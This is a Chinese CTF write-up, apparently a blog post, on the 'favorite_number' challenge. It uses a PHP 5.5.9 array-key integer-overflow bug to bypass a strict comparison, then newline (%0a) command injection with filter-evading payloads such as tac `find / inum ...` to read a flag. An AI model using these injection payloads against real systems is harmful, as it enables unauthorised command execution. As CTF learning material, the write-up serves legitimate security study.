PHP5.5.9整数溢出漏洞

涉及内容:

php的三等号,‘===’,为强等于,两边的变量的类型和值都相等,返回true;

在php5.5.9中有这样的描述:

PHP :: Bug #69892 :: Different arrays compare indentical due to integer key truncation

即,当数组为九位16机制数时,会溢出,等同于重新排序,16的8次方即4294967296在逻辑上等同于下标0;

例:攻防世界favorite_number

观察页面,第一个if,表示通过post上传的stuff值和类型必须于array一样,但是第一个又不能是admin,很明显有矛盾,则此处存在漏洞,即为上诉所说的整数溢出。

打开hacker,传递post:stuff[4294967296]=admin&stuff[1]=user

发现可以进入一个空白界面,表明可以绕过了这个矛盾,继续往下看。

大致意思就是出现sh、flag等等那些符号的话只会显示我们最喜欢的数字,很明显是防止我们直接输入命令代码,能用的基本都给ban了,因此我们的目的就是插入命令获取flag

则我们通过换行符%0a进行绕过,

构造:stuff[4294967296]=admin&stuff[1]=user&num=114514%0als -la /

但是在hacker中上传并未显示内容,(不能理解,可能对post值进行的前端的检测过滤吧)

改用burp抓包绕过前端检测

post传递:tuff[4294967296]=admin&stuff[1]=user&num=114514

然后改为:tuff[4294967296]=admin&stuff[1]=user&num=114514%0als -la /

 respone后发现flag,但是还ban掉了cat,flag两个关键字,

所以只能更换方法

抓包后改为:tuff[4294967296]=admin&stuff[1]=user&num=114514%0als -i /

寻找到flag的inum值,复制

再通过tac输出和find模式找到flag文件,进行绕过

抓包后改为:tuff[4294967296]=admin&stuff[1]=user&num=114514%0atac `find / inum 1442561 `

responce后,获取到flag

 

完毕

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值